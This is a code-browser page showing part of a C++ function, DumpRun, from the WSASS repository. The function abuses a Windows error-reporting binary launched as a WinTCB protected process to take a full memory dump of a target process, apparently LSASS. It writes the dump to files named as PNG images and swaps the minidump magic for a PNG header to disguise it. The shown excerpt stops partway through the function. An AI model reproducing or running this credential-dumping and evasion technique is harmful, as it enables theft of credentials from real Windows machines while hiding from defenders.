MCPcopy Create free account
hub / github.com/TwoSevenOneT/WSASS / DumpRun

Function DumpRun

WSASS.cpp:223–304  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

221}
222
223BOOL DumpRun(std::wstring werPath, DWORD targetPID, DWORD targetTID)
224{
225 // 1. Prepare SECURITY_ATTRIBUTES for inheritable handles
226 SECURITY_ATTRIBUTES sa = {};
227 sa.nLength = sizeof(sa);
228 sa.bInheritHandle = TRUE;
229 sa.lpSecurityDescriptor = nullptr;
230
231 // 2. Create the output files for the dumps
232 HANDLE hDump = CreateFileW(L"proc.png", GENERIC_WRITE, 0, &sa, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
233 HANDLE hEncDump = CreateFileW(L"proce.png", GENERIC_WRITE, 0, &sa, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
234 if (hDump == INVALID_HANDLE_VALUE || hEncDump == INVALID_HANDLE_VALUE)
235 {
236 std::wcerr << L"Failed to create dump files: " << GetLastError() << std::endl;
237 return 0;
238 }
239 // 3. Create the cancellation event
240 HANDLE hCancel = CreateEventW(&sa, TRUE, FALSE, nullptr);
241 if (!hCancel)
242 {
243 std::wcerr << L"Failed to create cancel event: " << GetLastError() << std::endl;
244 CloseHandle(hDump);
245 CloseHandle(hEncDump);
246 return 0;
247 }
248
249 //
250 std::wstringstream cmd;
251 cmd << werPath
252 << L" /h"
253 << L" /pid " << targetPID
254 << L" /tid " << targetTID
255 << L" /file " << HandleToDecimal(hDump)
256 << L" /encfile " << HandleToDecimal(hEncDump)
257 << L" /cancel " << HandleToDecimal(hCancel)
258 << L" /type 268310"; // dump full
259 std::wstring commandLine = cmd.str();
260 PPLProcessCreator creator;
261
262 // Create a thread to run ResumeProcessLoop
263 std::thread resumeThread(ResumeProcessLoop, targetPID);
264 // Detach the thread so it runs independently
265 resumeThread.detach();
266
267 //0 = WinTCB
268 if (!creator.CreatePPLProcess(0, commandLine))
269 {
270 std::wcerr << L"Failed to create PPL process." << std::endl;
271 CloseHandle(hDump);
272 CloseHandle(hEncDump);
273 CloseHandle(hCancel);
274 return 0;
275 }
276
277 // Define the bytes to write: PNG magic header
278 //Original file Should be 0x504d444d ("MDMP")
279 //BYTE origMagic[4] = {0x4D, 0x44, 0x4D, 0x50}; "MDMP"
280 BYTE data[4] = { 0x89, 0x50, 0x4E, 0x47 }; //PNG magic header

Callers 1

wmainFunction · 0.85

Calls 2

HandleToDecimalFunction · 0.85
CreatePPLProcessMethod · 0.80

Tested by

no test coverage detected